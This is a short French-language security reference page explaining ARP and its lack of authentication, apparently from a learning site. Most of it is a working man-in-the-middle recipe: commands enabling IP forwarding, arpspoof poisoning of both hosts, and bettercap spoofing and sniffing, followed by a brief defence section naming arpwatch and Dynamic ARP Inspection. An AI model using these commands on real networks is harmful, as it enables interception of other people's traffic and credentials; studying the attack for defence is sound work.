ARP — Résolution MAC/IP sur LAN

OSI L2 Spoofing MITM

★★★★★

Qu'est-ce que ARP ?

ARP (Address Resolution Protocol) traduit les IPs en adresses MAC sur le réseau local. Aucune authentification : n'importe qui peut répondre à la place de la vraie machine.

ARP Spoofing — MITM

# Activer le routage IP
echo 1 > /proc/sys/net/ipv4/ip_forward

# Empoisonner les deux côtés
arpspoof -i eth0 -t 192.168.1.10 192.168.1.1
arpspoof -i eth0 -t 192.168.1.1 192.168.1.10

# Avec bettercap
bettercap -iface eth0
> arp.spoof on
> net.sniff on

Défense

arpwatch -i eth0   # surveiller les changements MAC
# Dynamic ARP Inspection (DAI) sur switches Cisco

← Retour à la Knowledge Map